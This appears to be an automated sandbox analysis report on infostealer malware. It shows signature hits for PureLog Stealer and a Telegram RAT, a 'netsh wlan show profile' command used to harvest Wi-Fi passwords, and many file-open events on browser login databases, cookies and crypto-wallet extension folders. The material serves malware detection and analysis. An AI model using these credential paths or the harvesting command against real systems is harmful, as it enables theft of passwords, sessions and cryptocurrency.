Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ZVMneG.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d0ef52de9f.exe PID: 7216, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: D1UL0FG.exe PID: 6716, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: com.liberty.jaxx
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 8ZVMneG.exe, 00000054.00000003.3041726825.0000000001363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletll
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: 8ZVMneG.exe, 00000054.00000003.3041726825.0000000001363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets(
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\031db23f-f53a-4d6b-b429-cd0302ef56d3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\6490c938-fe3f-48ae-bc5e-e1986298f7c1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\a5f61848-f128-4a80-965b-a3000feed295	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\58ef9818-5ea1-49a0-b5b0-9338401a7943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\15702f96-fbc1-4934-99bf-a9a7406c1be7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
